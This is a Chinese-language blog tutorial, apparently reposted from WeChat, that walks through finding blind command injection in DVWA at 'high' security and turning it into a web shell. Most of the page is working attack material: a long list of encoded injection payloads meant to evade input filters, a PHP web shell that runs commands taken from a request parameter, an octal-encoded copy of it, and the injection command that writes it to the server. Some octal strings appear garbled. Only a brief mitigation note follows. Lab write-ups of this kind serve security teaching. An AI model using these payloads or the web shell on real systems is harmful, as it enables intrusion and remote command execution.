总结
本文介绍了一种在 Linux 上检测命令注入漏洞的改进方法。作为奖励,我将演示一种经常被忽视的混淆 PHP Web shell 负载的方法,该方法允许绕过目标应用程序的输入验证限制。
我们将使用 Damn Vulnerable Web Application (DVWA) Command Injection challenge 的 Linux Docker 实现,并将安全级别设置为“高”。此外,攻击方法是从 100% 黑盒的角度出发的,没有事先了解应用程序输入验证,也没有事先了解目标 Web 服务器上可用的二进制文件。
免責聲明
本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。
为什么选择这个博客?
有很多关于不同有效负载的在线信息可用于检测命令行注入。最值得注意的是 PayloadsAllTheThings。这个集合真的很棒,它为非盲和盲命令注入提供了各种有效负载的单词列表。
但是,您可以通过仅关注盲目命令注入来显著减少有效负载列表。毕竟,这些有效负载也可以在非盲目命令注入上下文中工作。此外,还应为 Windows 和 Linux 创建单独的有效负载列表。在 Windows 目标上运行 Linux 负载没有意义。此外,我们不会使用基于带外技术的有效负载。这些负载需要出站连接。出站连接并不总是可能的,您永远不应该依赖它。最后,我们只在有效负载中使用我们确定存在于目标系统上的二进制文件。在本例中,我们谈论的是操作系统附带的二进制文件,例如 'sleep' 或 'ping'。
在我们的方法中,我们将使用目标服务器响应时间来确定是否存在命令注入漏洞。我们将通过将不同的有效负载附加到 vulnerable 参数来实现这一点,这会导致受控的服务器响应延迟。
我们将使用 Damn Vulnerable Web Application (DVWA) 命令注入质询,并将安全级别设置为高。当安全级别设置为 “high” 时,Web 服务器将执行广泛的输入验证,过滤掉许多字符。
使用安全级别设置为高的 DVWA,我们的目标是通过我们特定构建的有效负载列表来查找命令注入漏洞。此外,一旦我们发现漏洞,我们就会将其利用到 Web Shell 中。
实验室环境
此 POC 由 2 台计算机组成:一台攻击者计算机(Kali Linux,192.168.62.187)和一台易受攻击的 Linux Web 服务器(DVWA Docker 映像 192.168.62.177):
Kali 64 位 [版本 24.2]
- IP 地址:192.168.62.187
DVWA Linux
- IP 地址:192.168.62.177
- Docker 镜像 https://hub.docker.com/r/vulnerables/web-dvwa
第 1 部分:检测 DVWA Linux 上的命令注入漏洞(安全级别 = 高)
攻击背景:
·目标操作系统:Linux
·DVWA 安全级别:中和高
·易受攻击的网站:http://192.168.62.177/vulnerabilities/exec/
当 DVWA 安全级别设置为“高”时,让我们以正常的用户行为启动命令行注入枚举
1. 针对易受攻击的 Web 服务器 Linux DVWA 执行。
将 DVWA 安全级别设置为“高”。
2. 针对易受攻击的 Web 服务器 Linux DVWA 执行。
配置您的浏览器以使用 Burp Suite 作为拦截器工具(我们使用了 Burp Suite 集成浏览器。浏览到 DVWA 命令注入站点 (http://192.168.62.177/vulnerabilities/exec/)。执行“ping 设备”功能并 ping 环回地址或 localhost。
TTL 值 (64) 告诉我们它是一个 Linux Web 服务器,我们还可以看到这个 ping 函数发送了四个 ICMP 数据包。
接下来,让我们看看 Burp Suite 拦截的 HTTP 流量。在 Burp 代理历史记录中找到步骤 1 中的请求。如您所见,目标应用程序使用 POST 参数 “ip”。
为了确定是否存在命令注入漏洞,我们可以注入包含各种有效负载的 POST ip 参数,以执行 Linux“sleep”命令。sleep 命令是 GNU Coreutils (https://www.gnu.org/software/coreutils/) 的一部分,几乎存在于所有 Linux 发行版中。由于正常的 ping 操作大约需要 4 秒(4 个数据包),因此应使用具有不同延迟负载的负载。在我们的例子中,我们将使用延迟为 7 秒的 payload。如果休眠时间为 7 秒,则可以从服务器响应中推断出以下内容:
- 服务器响应时间为 11 秒。第一个和第二个命令都会被执行。
- 服务器响应时间为 7 秒。仅执行第二个命令
为了创建有效负载列表,我们将使用“命令替换”和“字符串转换”技术。命令替换涉及将命令的结果(例如 'echo localhost')与现有命令('ping' 命令)一起使用。字符串转换提供了绕过输入验证的功能。例如,如果有效负载不能包含某些字符,则将这些字符编码为 Base32、Base64 或十六进制格式。要执行字符串转换,我们可以使用 Kali Linux 工具 base32、base64(都是 GNU Coreutils 的一部分)和 xxd。
3. 可选:在 Kali Linux 上执行(您可以跳过此步骤,直接进入第 4 步)
获取字符串 'sleep 7' 的 Base32、Base64、八进制和十六进制表示形式。打开 Bash 终端,使用复制和粘贴来执行以下代码:
# Base32 presentation for 'sleep 7'
echo sleep 7 | base32
# Base64 presentation for 'sleep 7'
echo sleep 7 | base64
# hexadecimal presentation for 'sleep 7’
echo sleep 7 | xxd --ps
# hexadecimal presentation for 'sleep 7’
printf 'sleep 7' |od -b -An -w2048|sed 's! !\!g'
在下一步中,我们将在有效负载列表中包含 'sleep 7' 的 base32、base64、十六进制和八进制表示形式
4. 在 Kali Linux 上执行。
创建一个有效负载列表,其中包含命令 “sleep 7” 的不同变体。将下面的有效负载复制并粘贴到剪贴板:
; printf '163154145145160�40�67'|sh
;`echo c2xlZXAgNwo=|base64 -d`
;echo 736c65657020370a|xxd --ps -r|sh
;echo c2xlZXAgNwo=|base64 -d|sh
;echo ONWGKZLQEA3QU===|base32 -d|sh
;sleep${IFS}7
() { :;}; /bin/bash -c "sleep 7"
&&`echo c2xlZXAgNwo=|base64 -d`
&&echo c2xlZXAgNwo=|base64 -d|sh
&&printf '163154145145160�40�67'|sh
&&sleep${IFS}7
&`echo c2xlZXAgNwo=|base64 -d`
&echo ONWGKZLQEA3QU===|base32 -d|sh
&printf '163154145145160�40�67'|sh
&sleep 7
&sleep${IFS}7
%00 printf '163154145145160�40�67'|sh
%00 sleep 7
%00{.exec|echo c2xlZXAgNwo=|base64 -d|sh
%00{.exec|echo c2xlZXAgNwo=|base64 -d|sh}
%00{.exec|sleep 7
%00{.exec|sleep 7}
%00echo c2xlZXAgNwo=|base64 -d|sh
%00sleep 7
%00sleep$IFS7
`echo c2xlZXAgNwo=|base64 -d`
`echo ONWGKZLQEA3QU===|base32 -d`
`printf '163154145145160�40�67'`
`sleep 7`
|`echo c2xlZXAgNwo=|base64 -d`
|echo 736c65657020370a|xxd --ps -r|sh
|echo ONWGKZLQEA3QU===|base32 -d|sh
|printf '163154145145160�40�67'|sh
|sleep${IFS}7
|sleep 7
$(echo c2xlZXAgNwo=|base64 -d)
$(echo ONWGKZLQEA3QU===|base32 -d)
$(printf '163154145145160�40�67')
$(sleep 7)
echo c2xlZXAgNwo=|base64 -d|sh
echo ONWGKZLQEA3QU===|base32 -d|sh
echo printf '163154145145160�40�67'|sh
echo sleep 7|sh
FAIL_INTENT||sleep 7
FAIL_INTENT||sleep${IFS}7
FAIL_INTENT||`echo c2xlZXAgNwo=|base64 -d`
FAIL_INTENT||`echo ONWGKZLQEA3QU===|base32 -d`
FAIL_INTENT||echo c2xlZXAgNwo=|base64 -d|sh
FAIL_INTENT||echo ONWGKZLQEA3QU===|base32 -d|sh
FAIL_INTENT||printf '163154145145160�40�67'|sh
5. 在 Kali Linux 上执行(DVWA 应处于安全级别 = 高)。
将步骤 2 中的请求发送到 Burp Intruder。按如下方式配置 Intruder:
Positions (位置) 选项卡
Positions (位置) 选项卡
- 类型 狙击手
- 在有效值 127.0.0.1 之后设置位置(用于睡眠负载)
Payloads (有效负载) 选项卡
- 键入 Simple List:粘贴步骤 4 中的“sleep 7”有效负载
Resource Pool 选项卡
- 将最大并发请求数设置为 4
开始攻击。
6. 在 Kali Linux 上执行(DVWA 应处于安全级别 = 高)。
分析步骤 5 中的攻击结果
我们很幸运。我们有两个有效负载,导致服务器响应时间为 7 秒。这些是:
睡 7
|printf '163154145145160�40�67'|sh
我们成功发现了命令注入漏洞!
第 2 部分:利用 Linux DVWA 命令漏洞向 Web Shell 注入漏洞(安全级别 = 高)
在安全级别设置为“高”的情况下,利用 DVWA 很困难,因为会过滤掉许多特殊字符,例如连字符“-”、方括号“()”、美元符号“$”、与号“&&”、反引号“”和分号“;”。
我们的选项减少了,因为我们不能使用连字符 '-' 符号。在 Linux 中,连字符用作许多二进制文件的参数指示符。
如果我们尝试在不使用连字符的情况下设置反向 shell,我们将仅限于 socat、netcat 或 wget 等工具。
幸运的是,我们可以使用反斜杠 ''。这将使我们能够使用 printf 工具将八进制值解码为字符串。printf 工具是 GNU Coreutils (https://www.gnu.org/software/coreutils/) 的一部分,存在于所有 Linux 发行版中。您可以使用 printf 将八进制编码的有效负载解码回 ASCII。这样,我们就可以绕过字符过滤器限制。这是最鲜为人知的编码技术之一。因为它只需要单引号和反斜杠字符,所以它几乎总是有效的!此外,我们的有效负载将是一个 Web shell,因此我们不必依赖来自目标服务器的出站访问。
我们的最终有效负载已准备好在第 8 步中使用。如果需要,您可以跳过步骤 7。
7. 可选:在 Kali Linux 上执行(您可以跳过此步骤,直接进入第 8 步)
获取 PHP Web Shell 的八进制表示形式。打开 Bash 终端,使用复制和粘贴来执行以下代码:
payload='<?php if(isset($_REQUEST["cmd"])){echo "<pre>";$cmd = ($_REQUEST["cmd"]);system($cmd);echo "</pre>";die;}?>'
printf $payload |od -b -An -w9999|sed 's! !\!g'| sed 's!\[0]!\!g'
结果是 PHP Web shell 的八进制表示形式。
74771601501604015114650151163163145164504413712210512112510512312413342143155144421355151173145143150157404274160162145764273441431551444075405044137122105121125105123124133421431551444213551731631711631641451555044143155144517314514315015740427457160162145764273144151145731757776
或者,您也可以使用在线转换器,例如
https://onlinestringtools.com/convert-string-to-octal。
将结果(PHP Web shell 的八进制表示形式)复制到剪贴板。
8. 针对易受攻击的 Web 服务器 Linux DVWA 执行(安全级别 = 高)。
将 payload 添加到命令行注入漏洞。使用管道 '|' 执行第二个命令,例如 127.0.0.1|<paste payload here>。
在我们的例子中,我们将使用带有 PHP Web shell 的八进制解码有效负载的漏洞。
127.0.0.1|printf '[从剪贴板粘贴]'>web_shell.php
我们的最终命令:
127.0.0.1|printf '74771601501604015114650151163163145164504413712210512112510512312413342143155144421355151173145143150157404274160162145764273441431551444075405044137122105121125105123124133421431551444213551731631711631641451555044143155144517314514315015740427457160162145764273144151145731757776'>web_shell.php
9. 针对易受攻击的 Web 服务器 Windows DVWA(安全级别 = 高)执行。
测试 Web Shell。导航到 http://192.168.62.177/vulnerabilities/exec/web_shell.php?cmd=ls+-l
缓解措施
防止操作系统命令注入漏洞的最佳方法是永远不要从应用程序层代码执行操作系统命令。
如果需要使用用户提供的输入调用操作系统命令,则必须执行强输入验证。
引用
https://hub.docker.com/r/vulnerables/web-dvwa
https://portswigger.net/web-security/os-command-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
linux恶意软件开发对抗与进程安全管理视频教程
其它课程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
windows文件过滤(更新完成)
-
USB过滤(更新完成)
-
游戏安全(更新中)
-
ios逆向
-
windbg
-
还有很多免费教程(限学员)
-
更多详细内容添加作者微信
-
原文始发于微信公众号(安全狗的自我修养):在 Linux 上将命令注入到 DVWA 中的 Web shell
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论